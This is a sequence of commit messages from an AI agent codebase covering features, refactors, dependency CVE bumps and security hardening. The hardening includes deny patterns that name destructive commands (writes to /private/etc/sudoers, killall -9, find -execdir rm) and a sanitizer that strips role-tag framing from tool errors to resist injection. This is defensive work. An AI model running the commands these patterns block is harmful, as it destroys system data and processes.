Salvages #27526 by @shunsuke-hikiyama. Adds an --initial-status flag
(running|blocked, default running) to 'kanban create', threaded through
kanban_db.create_task() and the kanban_create tool schema. 'blocked'
parks the task directly in the blocked column for R3 human-ops review,
skipping the brief running-to-blocked transition.
Dropped the unrelated 'add' alias, WIFEXITED Windows compat, and
slash-handler error formatting changes that were bundled in the
original PR — those should ship as their own focused changes if still
wanted.
Salvages #25579 by @wesleysimplicio. Stamps task_runs.metadata.worker_session_id
from HERMES_SESSION_ID on kanban_complete. Cherry-picked the substantive
commit (not the AUTHOR_MAP fixup tip) onto current main.
The _SLACK_TARGET_RE regex only matched IDs starting with C (channel),
G (group), or D (direct message). Slack user IDs start with U, causing
'Could not resolve' errors when trying to send DMs to specific users.
Changes:
- Expand _SLACK_TARGET_RE to accept U-prefixed IDs (user IDs)
- Add conversations.open fallback to resolve user IDs to DM channel
IDs before sending, since chat.postMessage requires a conversation ID
Fixes #ISSUE_NUMBER
When a tool call requires user approval in the non-blocking gateway path,
the LLM previously received a result that was indistinguishable from a
failed tool call (exit_code=-1, error=message). The LLM could not tell
whether the tool was pending approval, had returned empty results, or had
failed silently — causing it to burn context on wrong hypotheses.
Fix changes the result format to include:
- status: pending_approval (clear state name)
- approval_pending: True (explicit boolean for LLMs to detect)
- error: cleared to empty string (removes misleading error signal)
This lets the LLM reason about approval latency vs actual errors,
short-circuiting the previous silent failure mode.
Fixes#14806
Background process non-PTY path used stdin=subprocess.PIPE unconditionally,
creating an orphan pipe that was never written to and never closed. Child
processes that read stdin would block indefinitely, competing with the
parent's prompt_toolkit event loop for terminal ownership and causing
complete keyboard lockout.
Change to stdin=subprocess.DEVNULL so children get immediate EOF on stdin
reads instead of blocking forever. For interactive stdin, the PTY path
(which has its own independent PTY via ptyprocess.PtyProcess.spawn) should
be used instead.
Fixes#17959
xAI's /v1/responses and /v1/chat/completions endpoints reject tool schemas
whose enum values contain a forward slash with a generic HTTP 400 'Invalid
arguments passed to the model.' before any token is emitted — the schema
compiler trips on the '/' character regardless of where it appears.
Most commonly hit by MCP-derived tools whose enum lists HuggingFace model
IDs ('Qwen/Qwen3.5-0.8B', 'openai/gpt-oss-20b') or owner/name environment
identifiers.
Mirrors the existing strip_pattern_and_format sanitizer (PR for #27197).
The new strip_slash_enum walks tool parameters and drops the entire enum
keyword when any value contains '/' — keeping it partial would still 400
since xAI's failure is all-or-nothing on the enum. The field description
still reaches the model so the prompting hint is preserved.
Wired in at both code paths for parity:
- agent/chat_completion_helpers.py (main agent xAI Responses path)
- agent/auxiliary_client.py (aux client xAI Responses path, matching
the same parity guarantee 2fae8fba9 established for pattern/format)
Salvaged from #28021 by @Slimydog21 — contributor's branch was severely
stale (would have reverted ~5000 LOC across azure/kanban/i18n); fix
re-applied surgically on current main with their sanitizer + 9 tests
preserved verbatim. Author noreply email used (original was a Mac
hostname leak).
Tirith flags .app domains with a lookalike_tld finding because the TLD
"can be confused with file extensions". This is a false positive for
legitimate production APIs (e.g. api.example.app, lark.app).
Add _is_app_tld_finding() and a post-parse suppression block in
check_command_security(): if the only finding(s) on a warn verdict are
lookalike_tld entries for .app, downgrade the action to allow.
Mixed findings (e.g. .app + shortened_url) and block verdicts are
unaffected. Non-.app lookalike_tld findings (.zip, .exe, etc.) are
preserved.
Add 15 regression tests covering: .app-only suppression, mixed-finding
preservation, non-.app TLD preservation, block-verdict invariance, and
the helper's field-name and case-insensitivity behaviour.
Closes#24461
* feat(dep_ensure): complete Windows bootstrap — dep_ensure + install.ps1 + detection
dep_ensure.py gains Windows awareness: PowerShell invocation, platform-
specific browser detection, (path, shell) tuple returns.
install.ps1 gains -Ensure/-PostInstall modes using npm -g --prefix
(aligned with install.sh) and agent-browser install for Chromium.
browser_tool.py gains node/ in candidate dirs for Windows .cmd shims.
Both install scripts bundled in pip wheel.
Tracking: #27826
* fix(install.ps1): add --ignore-scripts to npm install for camofox
@askjo/camofox-browser has a dependency (impit) whose postinstall
script runs `npx only-allow pnpm`, which fails under npm. Adding
--ignore-scripts avoids the spurious failure without affecting
functionality.
Tracking: #27826
* fix: remove duplicate install scripts from git
CI already copies scripts/install.{sh,ps1} into hermes_cli/scripts/
during wheel build. No need to commit copies — .gitignore keeps them
out, _find_install_script() falls back to scripts/ for git-clone users.
Tracking: #27826
* fix: address review — remove env_extra, fix ps1 error handling
- Remove unused env_extra parameter from ensure_dependency()
- Invoke-EnsureMode node case now uses Test-Node consistently
- Install-AgentBrowser uses throw instead of exit 1
The agent can now produce a chart, PDF, spreadsheet, or any other supported
file type and have it land in Slack / Discord / Telegram / WhatsApp / etc.
as a native attachment, just by mentioning the absolute path in its
response. Same primitive works for kanban-worker completions: workers
attach artifacts via kanban_complete(artifacts=[...]) and the gateway
notifier uploads them alongside the completion message.
Changes:
- gateway/platforms/base.py: extract_local_files now covers PDFs, docx,
spreadsheets (xlsx/csv/json/yaml), presentations (pptx), archives
(zip/tar/gz), audio (mp3/wav/...), and html — not just images and video.
Image/video extensions still embed inline; everything else routes to
send_document via the existing dispatch partition in gateway/run.py.
- tools/kanban_tools.py + hermes_cli/kanban_db.py: kanban_complete gains
an explicit ``artifacts`` parameter. The handler stashes it in
metadata.artifacts (for downstream workers) and the kernel promotes
it onto the completed-event payload so the notifier can find it
without a second SQL round-trip.
- gateway/run.py: _kanban_notifier_watcher now calls a new helper
_deliver_kanban_artifacts after sending the completion text. The
helper reads payload.artifacts (preferred), falls back to scanning
the payload summary and task.result with extract_local_files, then
partitions images / videos / documents and uploads each via
send_multiple_images / send_video / send_document.
- website/docs/user-guide/features/deliverable-mode.md + sidebars.ts:
user-facing docs page covering the extension list, the kanban
artifacts pattern, and the MCP-for-connector-breadth recommendation.
Tests:
- tests/gateway/test_extract_local_files.py: 7 new test cases
(documents, spreadsheets, presentations, audio, archives, html,
chart-pdf canonical case). 44 passing, 0 regressions.
- tests/tools/test_kanban_tools.py: 4 new cases covering the artifacts
arg shape (list / string / merge with existing metadata / type
rejection). 17 passing.
- tests/hermes_cli/test_kanban_notify.py: 2 new cases covering full
notifier → artifact-upload path and missing-file silent-skip. 12
passing.
- E2E (real files, real kanban kernel, real BasePlatformAdapter):
worker calls kanban_complete(artifacts=[png,pdf,csv]) → metadata +
event payload land → notifier helper partitions correctly →
send_multiple_images called once with the PNG, send_document called
twice with PDF + CSV.
What's NOT in this PR (deferred to follow-ups):
- Ad-hoc "research this for two hours, ping the thread when done"
slash command — covered today by kanban subscriptions; a dedicated
slash command can ride a follow-up PR if needed.
- Setup-wizard prompt for recommended MCP servers (Notion, GitHub,
Linear, etc.) — docs page lists them; UI is a separate change.
Plan and rationale captured in ~/.hermes/docs/perplexity-computer-parity.pdf
(local doc, not shipped).
* feat(session_search): single-shape tool with discovery, scroll, browse — no LLM
Replaces the LLM-summarized session_search with a single-shape tool that
returns actual messages from the DB. Three calling shapes inferred from
args (no mode parameter):
1. Discovery — pass query. FTS5 + anchored ±5 window + bookends per hit,
all in one call. ~20ms on a real DB instead of ~90s for the previous
three aux-LLM calls.
2. Scroll — pass session_id + around_message_id. Returns a window
centered on the anchor. To paginate, re-anchor on the first/last id
of the returned window. Boundary message appears in both windows
as the orientation marker. ~1ms per scroll call.
3. Browse — no args. Recent sessions chronologically.
Bookend_start (first 3 user+assistant msgs) and bookend_end (last 3) give
the agent goal + resolution on every discovery hit, so a single tool call
reconstructs a long session's arc without loading the whole transcript.
The aux-LLM summary path is gone: it cost ~$0.30/call, took ~30s, and
laundered FTS5 hits through a model that could confabulate when the right
session wasn't in the hit list. The merged shape returns byte-for-byte
content from SQLite.
History:
- PR #20238 (JabberELF) seeded the fast/summary dual-mode split.
- PR #26419 (yoniebans) expanded to fast/guided/summary with bookends,
multi-anchor drill-down, default-mode config, and a teaching skill.
This PR collapses that toolkit into one shape with explicit scroll
support, drops the summary path, drops the mode parameter, drops the
config knob, drops the skill. JabberELF's seed work is acknowledged via
the AUTHOR_MAP entry.
Validation:
- 38/38 tool tests pass (tests/tools/test_session_search.py)
- 12/12 get_messages_around tests pass (tests/hermes_state/)
- 11/11 get_anchored_view tests pass (tests/hermes_state/)
- Full tests/tools/ run: 5168 passing, 2 failures pre-exist on main
(test ordering in test_delegate.py, unrelated)
- E2E against live state DB: discovery 20ms, scroll 1ms, browse 280ms;
pagination forward+backward works with boundary-message orientation;
error paths return clean tool_error responses
Co-authored-by: JabberELF <abcdjmm970703@gmail.com>
Co-authored-by: yoniebans <jonny@nousresearch.com>
* chore(session_search): prune dead LLM-summary config and docs
Companion to the single-shape rewrite. The auxiliary.session_search config
block, max_concurrency / extra_body tunables, and matching docs sections
all referenced the removed LLM summarization path. Removing them so users
don't try to tune knobs that nothing reads.
- hermes_cli/config.py: drop dead auxiliary.session_search block from
DEFAULT_CONFIG. Leftover keys in user config.yaml are harmless and
ignored.
- hermes_cli/tips.py: drop two tips referencing the removed
max_concurrency / extra_body knobs.
- website/docs/user-guide/configuration.md: drop 'Session Search Tuning'
section and the auxiliary.session_search block from the example.
- website/docs/user-guide/features/fallback-providers.md: drop session_search
rows from the auxiliary-tasks tables and the dedicated tuning subsection.
- website/docs/reference/tools-reference.md: rewrite the session_search
entry to describe the new three-shape behaviour.
- CONTRIBUTING.md: update the file-tree description.
- tests/tools/test_llm_content_none_guard.py: remove TestSessionSearchContentNone
class and test_session_search_tool_guarded — both guard against an
unguarded .content.strip() call site in _summarize_session() that no
longer exists.
Validation: 97/97 targeted tests still pass (hermes_state + session_search +
llm_content_none_guard). Config tests 55/55.
---------
Co-authored-by: JabberELF <abcdjmm970703@gmail.com>
Co-authored-by: yoniebans <jonny@nousresearch.com>
xAI's /responses endpoint rejects pattern and format JSON Schema keywords
in tool schemas with HTTP 400 'Invalid arguments passed to the model'.
The existing strip_pattern_and_format() only walked OpenAI-format tools
({'function': {'parameters': ...}}), missing Responses-format shapes
({'name': ..., 'parameters': ...}) used by codex_responses API mode.
This shows up most often with MCP-derived tools that carry validation
keywords (e.g. domain pattern regex in firecrawl, format: date-time)
through to the wire.
Extends the walk to handle both shapes. Auto-strip wiring is applied
separately in chat_completion_helpers (post-refactor location).
Closes#27197
Named custom providers (e.g. crof.ai) resolve to provider='custom' at the
runtime level, causing subagents to lose their intended provider identity.
On retry/fallback, resolve_provider_client('custom', model=...) searches all
providers advertising that model and picks non-deterministically, routing to
Z.AI or Bailian instead of the configured target.
The fix preserves configured_provider when runtime['provider'] == 'custom',
restoring the original provider name so routing stays correct through retries.
Adds a named constant _RUNTIME_PROVIDER_CUSTOM instead of a magic string.
Adds three regression tests:
- test_named_custom_provider_preserves_provider_name: the #26954 case
- test_standard_provider_not_overwritten_by_configured_name: openrouter/nous
must still return their own identity, not the configured name
- test_custom_provider_with_empty_configured_provider_falls_back_to_runtime:
empty provider triggers the early-return None path as before
Addresses findings from two self-review passes pre-merge.
First pass (3-agent parallel review):
1. plugins/browser/browser_use/provider.py: drop the
``_ = managed_nous_tools_enabled`` dead-import-hider in
_get_config_or_none(). The import was actively misleading — the
helper IS used in _get_config() (separate method, separate import),
not here. The "keep static analysis happy" comment was wrong about
what the helper does in this scope.
2. agent/browser_provider.py: drop ``pragma: no cover`` from
is_configured() / provider_name() backward-compat aliases. They ARE
covered by ``TestLegacyAbcAliases`` — the pragma would have masked
future regressions.
3. tools/browser_tool.py: refactor _is_legacy_provider_registry_overridden()
to compare against a module-frozen _DEFAULT_PROVIDER_REGISTRY snapshot
instead of hardcoded set of 3 keys. Future maintainers adding a 4th
built-in provider now just extend _PROVIDER_REGISTRY; the override
detection adapts automatically. Previously the hardcoded
``set(...) != {"browserbase", "browser-use", "firecrawl"}`` would flip
True forever on any 4-key registry, silently routing every install
onto the legacy fixture path.
4. tools/browser_tool.py: when explicit ``browser.cloud_provider`` is set
but the registry has no matching plugin (typo, uninstalled plugin,
discovery failure), emit a WARNING with actionable text instead of
silently falling through to auto-detect. Legacy code surfaced a typed
credentials error via direct class instantiation; this log restores
the signal in the post-migration path.
5. agent/browser_registry.py: trim the triple-redundant _LEGACY_PREFERENCE
documentation. Module docstring + 13-line block-comment + 5-line
inline comment was repeating the same point. Kept the docstring and
trimmed the block-comment to 5 lines.
6. agent/browser_registry.py: upgrade is_available()-raised logging from
DEBUG to WARNING with exc_info=True. A provider's availability check
throwing is unusual enough that users debugging "no cloud provider"
need the traceback in logs.
7. tests/plugins/browser/check_parity_vs_main.py: drop dead top-level
imports (os, shutil, tempfile — only referenced inside the
SUBPROCESS_SCRIPT string literal that runs in a child process).
Second pass (architecture + claim-verification review):
8. tools/browser_tool.py: rewrite the inline comment in _get_cloud_provider
auto-detect branch. Prior text claimed it "routes through the plugin
registry's legacy preference walk so third-party plugins still get a
chance to be selected when they're explicitly configured" — false on
both counts. The branch uses module-level legacy class aliases
(BrowserUseProvider / BrowserbaseProvider) directly; third-party
plugins are intentionally reachable only via explicit
``browser.cloud_provider``. Corrected comment now matches behaviour
and cross-references _LEGACY_PREFERENCE for the firecrawl gate
rationale.
9. tools/browser_tool.py + tests/tools/test_managed_browserbase_and_modal.py:
drop the unused ``get_active_browser_provider as
_registry_get_active_browser_provider`` alias from the
``from agent.browser_registry import ...`` block. It was never
referenced; matching test-stub line in the agent.browser_registry
SimpleNamespace also dropped. ``get_provider`` is still imported (used
by the explicit-config dispatch path at line 535).
10. plugins/browser/firecrawl/provider.py: align emergency_cleanup()
with the early-guard pattern used in browserbase + browser_use
plugins. Previously firecrawl tried the DELETE and relied on
``_headers()`` raising ValueError to trip a "missing credentials"
warning; same final outcome but a different control flow that read
like a bug to a maintainer skimming the three modules. Now: if
is_available() is False, log+return early — identical shape to the
other two providers.
Verification: 54/54 unit tests + 13/13 parity scenarios still pass.
Two changes that go together:
1. tools/browser_tool.py — add _ensure_browser_plugins_loaded() and call
it from _get_cloud_provider() before consulting the registry. Normally
model_tools triggers discover_plugins() as an import side-effect, but
_get_cloud_provider() can be reached from contexts that haven't gone
through model_tools (standalone scripts, certain unit-test paths, the
new parity-sweep harness). Without the defensive call, the registry is
empty and _registry_get_browser_provider() returns None — silently
downgrading users to local mode when they explicitly configured a
cloud provider with no credentials yet. The behavior-parity sweep
below caught this as 4 scenario regressions (explicit-X-no-creds for
all 3 providers, and explicit-firecrawl-with-creds).
2. tests/plugins/browser/check_parity_vs_main.py — subprocess harness
that pins one Python invocation to origin/main and one to this PR's
worktree via sys.path.insert(), runs _get_cloud_provider() across a
13-scenario config matrix, and diffs the reduced shape tuple
(is_local, provider_name, is_available). Provider_name pulls from
provider.provider_name() which is the legacy CloudBrowserProvider
API and remains as a backward-compat alias on the new BrowserProvider
ABC, so the comparison is apples-to-apples regardless of class
identity.
Final result: PARITY OK across 13 scenarios. The four observable
config/credential matrices that exercise the dispatcher all match
origin/main bit-for-bit:
- no-config + no-env → local
- explicit local + any env → local
- explicit BB / BU / FC + no creds → provider returned with
is_available()==False (so dispatcher surfaces typed credentials
error; matches main exactly)
- explicit BB / BU / FC + creds → provider returned with
is_available()==True
- no-config + BU creds → Browser Use
- no-config + BB creds → Browserbase
- no-config + both → Browser Use (legacy walk first hit)
- no-config + FC only → local (firecrawl NOT in legacy walk)
- no-config + FC + BB → Browserbase (legacy walk skips firecrawl)
Per the dev skill's "behavior-parity for refactor PRs" rule — without
this subprocess sweep, 31/31 unit tests pass while the production code
path is silently broken for users who type `browser.cloud_provider:
browserbase` and run a single browser command without prior model_tools
import. Caught + fixed before push.
The four files in tools/browser_providers/ (base.py, browserbase.py,
browser_use.py, firecrawl.py) have been migrated into
plugins/browser/<vendor>/provider.py over the previous commits. No
in-tree code references them anymore — the legacy class names
(BrowserbaseProvider / BrowserUseProvider / FirecrawlProvider) are
re-exported from tools.browser_tool as aliases to the plugin classes,
so existing test patches keep working.
Updates tests/tools/test_managed_browserbase_and_modal.py:
- Adds _load_plugin_module() helper next to _load_tool_module().
- Reroutes five _load_tool_module('tools.browser_providers.X', ...)
calls to _load_plugin_module('plugins.browser.X.provider', ...).
- Renames BrowserbaseProvider/BrowserUseProvider -> the new plugin
class names (BrowserbaseBrowserProvider / BrowserUseBrowserProvider).
- Updates is_configured() -> is_available() on the one assertion that
cared about the rename (the others stay on is_configured() via the
BrowserProvider ABC's backward-compat alias).
Net diff: -630 / +39 lines (tests + dead-code deletion). Verified
23/23 tests in test_browser_cloud_*.py + test_managed_browserbase_and_modal.py
still pass.
Closes the file-tree mismatch portion of #25214. Remaining work:
new plugin-level test coverage under tests/plugins/browser/, behaviour
parity subprocess sweep vs origin/main, and full tests/tools/ regression
sweep before opening the PR.
Switches tools.browser_tool's cloud-provider lookup from the hardcoded
_PROVIDER_REGISTRY class-instantiation pattern to the
agent.browser_registry singleton registry that plugins self-populate.
Changes:
- tools/browser_tool.py top imports: pull BrowserProvider from
agent.browser_provider (re-exported as CloudBrowserProvider for legacy
callers) and the three provider classes from plugins/browser/<vendor>/.
Legacy class names (BrowserbaseProvider, BrowserUseProvider, FirecrawlProvider)
remain on tools.browser_tool as re-export shims so existing test patches
(monkeypatch.setattr(browser_tool, 'BrowserUseProvider', ...)) keep working.
- _get_cloud_provider() now consults agent.browser_registry.get_provider()
for explicit-config lookups. The auto-detect fallback still uses
BrowserUseProvider() / BrowserbaseProvider() at the module level so the
cache-policy test fixtures (which patch those names) keep driving the
function. Test-time _PROVIDER_REGISTRY overrides are detected by class
identity and routed through the legacy factory-call path.
- agent/browser_provider.py: BrowserProvider grows is_configured() and
provider_name() as thin backward-compat aliases for the legacy
CloudBrowserProvider API. Subclasses MUST implement is_available() and
name; the aliases delegate. This keeps ~6 caller sites in browser_tool.py
working without churning them.
- tests/tools/test_managed_browserbase_and_modal.py: _install_fake_tools_package
grows stubs for agent.browser_provider / agent.browser_registry /
plugins.browser.<vendor>.provider so the test's spec-loader path
(sys.modules-reset + reload-tool-from-disk) can satisfy tools.browser_tool's
top-level imports.
Verified: all 23 existing tests in test_browser_cloud_*.py +
test_managed_browserbase_and_modal.py still pass post-cutover.
The legacy tools/browser_providers/ directory is NOT yet deleted; several
tests still _load_tool_module() those files via spec_from_file_location.
The deletion + test-path updates land in a later commit.
Six days after #23937 (608 fixes) the codebase had accumulated 241 new
PLR6201 violations. Same mechanical `x in (...)` → `x in {...}` fix,
same zero-risk profile: set lookup is O(1) vs O(n) for tuple and the
two are semantically equivalent for hashable scalar membership tests.
All 241 instances fixed via `ruff check --select PLR6201 --fix
--unsafe-fixes`, zero remaining. Every changed value is a hashable
scalar (str/int/None/enum/signal); no risk of unhashable runtime
errors. No behavior change.
Test plan:
- 119 files changed, +244/-244 (net zero) — exactly one-line edits
- `ruff check` clean afterward
- Compile checks pass on the largest touched files (cli.py, run_agent.py,
gateway/run.py, gateway/platforms/discord.py, model_tools.py)
- Subset broad test run on tests/gateway/ tests/hermes_cli/ tests/agent/
tests/tools/: 18187 passed, 59 pre-existing failures (verified against
origin/main with the same shape — identical failure count, identical
category — all xdist test-order flakes unrelated to this change)
Follows the same template as PR #23937 ([tracker: #23972](https://github.com/NousResearch/hermes-agent/issues/23972)).
When Hermes runs on a remote host over SSH, MCP OAuth loopback flows
silently fail: the OAuth provider redirects the user's browser to
http://127.0.0.1:<port>/callback, which reaches the callback server
on the *remote* machine — not the local machine where the browser is
running.
_redirect_handler already detected SSH (via _can_open_browser) and
printed "Headless environment detected — open the URL manually." but
gave no guidance on how to actually reach the callback server. Users
got silent timeouts or "Could not establish connection" errors.
This is the same bug fixed for xAI-oauth and Spotify in #26592, which
added _print_loopback_ssh_hint() in hermes_cli/auth.py. mcp_oauth.py
uses the identical loopback callback pattern (http://127.0.0.1:<port>/callback
via _configure_callback_port / _wait_for_callback) but was missing the hint.
Fix: when SSH_CLIENT or SSH_TTY is set and _oauth_port is available,
print the ssh -N -L port-forward command and the OAuth-over-SSH guide
URL to stderr, consistent with the rest of _redirect_handler's output.
Tests: 4 new cases in TestRedirectHandlerSshHint covering SSH_CLIENT,
SSH_TTY, local session (no hint), and missing _oauth_port (no hint).
Add creationflags=CREATE_NO_WINDOW to every Windows Popen call
across the terminal, process registry, code execution, and kanban
worker subsystems. Prevents visible CMD windows from flashing on
the user's desktop during agent operation.
Also adds the _IS_WINDOWS module constant to kanban_db.py where
it was missing, for consistency with the other patched files.
5 Popen sites across 4 files:
- tools/environments/local.py (terminal foreground spawn)
- tools/process_registry.py (background process spawn)
- tools/code_execution_tool.py (sandbox + interpreter probe)
- hermes_cli/kanban_db.py (kanban worker spawn)
- Remove unused from tools/tts_tool.py (dead code)
- Move _BUILTIN_DELIVER_PLATFORMS set from send() method to module
scope in gateway/platforms/webhook.py to avoid reallocation on
every call
Port from anomalyco/opencode#25019 ("fix: handle invalid mcp urls").
Previously: a typo in `config.yaml` (missing scheme, wrong scheme,
empty string, non-string value) slipped past `_is_http()` and hit
`httpx.URL(url)` or `streamablehttp_client(url, ...)` deep in the
transport layer. That raised a generic exception which went through
the reconnect-backoff loop, so a bad URL caused _MAX_INITIAL_CONNECT_RETRIES
attempts with doubling backoff — about a minute of pointless retries
plus an opaque error — before the server was marked failed.
Now: we validate the URL once, at the top of `run()`, before
entering the retry loop. A malformed URL raises `InvalidMcpUrlError`
(a `ValueError` subclass) with a message that names the offending
server and explains exactly what was wrong. `_ready` is set and
`_error` is populated, so `start()` re-raises and the server shows
up as failed in `hermes mcp list` without any backoff burn.
Validation rules:
- Must be a string (rejects None, dict, int)
- Must be non-empty (rejects '' and whitespace-only)
- Scheme must be http or https (rejects file://, ws://, stdio://)
- Must have a non-empty host (rejects http:///, http://:8080)
Tests (21 new cases in tests/tools/test_mcp_invalid_url.py):
- TestValidUrlsAccepted: http, https, IPv6, ports, paths, query strings
- TestInvalidUrlsRejected: every rejection path above + clear error text
- TestErrorIsValueError: downstream code catching ValueError still works
E2E verified: a misconfigured server with `url: not-a-valid-url`
now fails in <0.001s with the clear error, instead of minutes of retries.
Doesn't touch stdio servers (they use `command`, not `url`) — the
validator only fires when `_is_http()` returns True.
Closes#10695. Picks up the still-vulnerable Python pins on current main:
- aiohttp 3.13.3 -> 3.13.4 (messaging, slack, homeassistant, sms extras +
lazy_deps platform.slack) — CVE-2026-34513 (DNS cache exhaustion),
CVE-2026-34518 (cookie/proxy-auth leak on cross-origin redirect, relevant
for the gateway since it handles OAuth tokens), CVE-2026-34519 (response
reason injection), CVE-2026-34520 (null bytes in headers), CVE-2026-34525
(multiple Host headers).
- anthropic 0.86.0 -> 0.87.0 (anthropic extra + lazy_deps provider.anthropic)
— CVE-2026-34450 (memory tool files created mode 0o666),
CVE-2026-34452 (path-traversal in async local-filesystem memory tool).
Not directly exploitable since hermes-agent doesn't use the SDK's
filesystem memory tool, but the SDK is bumped for hygiene.
- cryptography pinned explicitly at 46.0.7 in core dependencies —
CVE-2026-39892 (buffer overflow on non-contiguous buffers). Previously
came in transitively via PyJWT[crypto]; the explicit floor keeps the
WeCom/Weixin crypto paths from drifting below the fix.
curl-cffi from the original issue is no longer in pyproject.toml or uv.lock,
so no action needed there.
uv.lock regenerated cleanly; only aiohttp / anthropic / cryptography moved.
Credit: original issue + scoping by @shaun0927 (#10695, #10701).
Floor analysis and packaging-surface audit by @gnanirahulnutakki (#10784),
adapted to current main's exact-pin style.
Co-authored-by: shaun0927 <shaun0927@users.noreply.github.com>
Co-authored-by: Gnani Rahul Nutakki <gnanirahulnutakki@users.noreply.github.com>
Port three hardening patches from Claude Code 2.1.113's expanded deny
rules to hermes' detect_dangerous_command() pattern list.
1. macOS /private/{etc,var,tmp,home} system paths
/etc, /var, /tmp, /home are symlinks to /private/<name> on macOS.
A write to /private/etc/sudoers works identically to /etc/sudoers
but bypassed the plain /etc/ pattern check. Extracted a shared
_SYSTEM_CONFIG_PATH fragment so /etc/ and the /private/ mirror
stay in sync across redirect / tee / cp / mv / install / sed -i
patterns.
2. killall -9 / -KILL / -SIGKILL / -s KILL / -r <regex>
Parallel to the existing pkill -9 pattern. killall -9 against
non-hermes processes was previously unprotected, and killall -r
can sweep unrelated processes matching a regex.
3. find -execdir rm
Same destructive effect as find -exec rm but ran in each match's
directory. The previous pattern required a literal '-exec ' so
-execdir slipped through.
Guarded by 32 new test cases in 4 test classes:
- TestMacOSPrivateSystemPaths (11 cases)
- TestKillallKillSignals (9 cases)
- TestFindExecdir (4 cases)
- TestEtcPatternsUnaffectedByRefactor (6 regression guards on
the existing /etc/ coverage after the _SYSTEM_CONFIG_PATH refactor)
Inspiration: https://github.com/anthropics/claude-code/releases
(Claude Code 2.1.113, April 17 2026 - "Enhanced deny rules" and
"Dangerous path protection")
Port from openai/codex#17667: MCP servers can now opt-in to parallel
tool execution by setting supports_parallel_tool_calls: true in their
config. This allows tools from the same server to run concurrently
within a single tool-call batch, matching the behavior already available
for built-in tools like web_search and read_file.
Previously all MCP tools were forced sequential because they weren't in
the _PARALLEL_SAFE_TOOLS set. Now _should_parallelize_tool_batch checks
is_mcp_tool_parallel_safe() which looks up the server's config flag.
Config example:
mcp_servers:
docs:
command: "docs-server"
supports_parallel_tool_calls: true
Changes:
- tools/mcp_tool.py: Track parallel-safe servers in _parallel_safe_servers
set, populated during register_mcp_servers(). Add is_mcp_tool_parallel_safe()
public API.
- run_agent.py: Add _is_mcp_tool_parallel_safe() lazy-import wrapper. Update
_should_parallelize_tool_batch() to check MCP tools against server config.
- 11 new tests covering the feature end-to-end.
- Updated MCP docs and config reference.
Subagent delegation hardcoded api_mode='chat_completions' for any
delegation.base_url that didn't match three specific hostnames
(chatgpt.com, api.anthropic.com, api.kimi.com/coding), and never
read delegation.api_mode from config. Azure AI Foundry's
https://foundry.services.ai.azure.com/anthropic endpoint fell through
and got chat_completions, causing 404s on every delegate_task call.
The main agent already handles this correctly via the shared
_detect_api_mode_for_url() helper (anything ending in /anthropic →
anthropic_messages); delegation reimplemented its own narrower check.
Reuse the shared detector and honor an explicit delegation.api_mode
when set so users can also force the transport on non-standard
endpoints the URL heuristic can't classify.
Fixes#10213.
Co-authored-by: HiddenPuppy <HiddenPuppy@users.noreply.github.com>
* feat(x_search): gated X (Twitter) search tool with OAuth-or-API-key auth
Salvages tools/x_search_tool.py from the closed PR #10786 (originally by
@Jaaneek) and reworks its credential resolution so the tool registers
when EITHER xAI credential path is available:
* XAI_API_KEY (paid xAI API key) is set in ~/.hermes/.env or the env, OR
* The user is signed in via xAI Grok OAuth — SuperGrok subscription —
i.e. hermes auth add xai-oauth has been run
Both paths route through xAI's built-in x_search Responses tool at
https://api.x.ai/v1/responses. When both credentials exist OAuth wins,
matching tools/xai_http.py's existing preference order (uses SuperGrok
quota instead of paid API spend).
The check_fn calls resolve_xai_http_credentials() which auto-refreshes
the OAuth access token if it's within the refresh skew window, so a
True return means the bearer is fetchable AND non-empty.
Wiring
- tools/x_search_tool.py — new tool, ~370 LOC. Schema gated by check_fn,
bearer resolved per-call so revoked OAuth surfaces a clean tool_error
rather than an HTTP 401.
- toolsets.py — "x_search" toolset def. NOT added to _HERMES_CORE_TOOLS;
users opt in via hermes tools.
- hermes_cli/tools_config.py — CONFIGURABLE_TOOLSETS entry + TOOL_CATEGORIES
block with two provider options (OAuth + API key) sharing the existing
xai_grok post_setup hook for credential bootstrap.
- hermes_cli/config.py — DEFAULT_CONFIG["x_search"] with model /
timeout_seconds / retries. Additive nested key; no version bump.
- tests/tools/test_x_search_tool.py — 13 tests covering HTTP shape,
handle validation, citation extraction, 4xx/5xx/timeout handling,
and the full credential-resolution matrix (OAuth-only, API-key-only,
both-set, neither-set, resolver-raises, config overrides, registry
registration).
- website/docs/guides/xai-grok-oauth.md — adds X Search to the
direct-to-xAI tools section with off-by-default note.
- website/docs/user-guide/features/tools.md — new row in the tools table.
Off by default — users enable via `hermes tools` → 🐦 X (Twitter) Search.
Schema only appears to the model when xAI credentials are configured.
Co-authored-by: Jaaneek <Jaaneek@users.noreply.github.com>
* docs(x_search): add dedicated feature page + reference entries
- website/docs/user-guide/features/x-search.md (new) — full feature
walkthrough: authentication, enablement, configuration, parameters,
returned fields, example, troubleshooting, see-also links.
- website/docs/reference/tools-reference.md — new "x_search" toolset
section with parameter docs and credential gating note.
- website/docs/reference/toolsets-reference.md — new row in the
toolset catalog table.
- website/sidebars.ts — wires the new feature page under
Media & Web, after web-search.
---------
Co-authored-by: Jaaneek <Jaaneek@users.noreply.github.com>
Adds _sanitize_tool_error() in model_tools and routes both error paths
through it: registry.dispatch's try/except (the primary path for tool
exceptions) and handle_function_call's outer except (defense in depth).
Stripping targets structural framing tokens that the model itself can
react to even though json.dumps already handles wire-layer escaping:
XML role tags (tool_call, function_call, result, response, output,
input, system, assistant, user), CDATA sections, and markdown code
fences. Caps message body at 2000 chars and wraps with [TOOL_ERROR]
prefix.
Defense-in-depth: a tool exception carrying '<tool_call>...' won't
break message framing (json escapes it), but the model still reads
those tokens and they nudge it toward role-confusion framing.
Ported from ironclaw#1639 (one piece of #3838's three-feature scout).
The truncated-tool-call (#1632) and empty-response-recovery (#1677,
#1720) pieces are skipped because main now implements both far more
thoroughly (run_agent.py L8147/L12209/L13012 for truncation retry +
length rewrite; L4500/L15090+ for empty-response scaffolding stripper,
multi-stage nudge, fallback model activation).
Plugins can now replace a built-in tool by passing override=True to
ctx.register_tool(). Without it, the registry rejects any registration
that would shadow an existing tool from a different toolset (unchanged
default behavior).
Unlocks the use case from #11049: drop-in replacement of browser/web
backends without forking core. Composes with the existing pre_tool_call
hook for runtime interception of any implementation.
The override is audit-logged at INFO so it surfaces in agent.log.
Tirith ships no Windows binary, so on every Windows CLI startup users
saw a scary 'tirith security scanner enabled but not available' banner
they could not act on. The banner suggested degraded security; in
reality pattern-matching guards still run and the message was pure noise.
Fix:
- New public is_platform_supported() helper in tools/tirith_security.py
that returns False when _detect_target() doesn't resolve (Windows, any
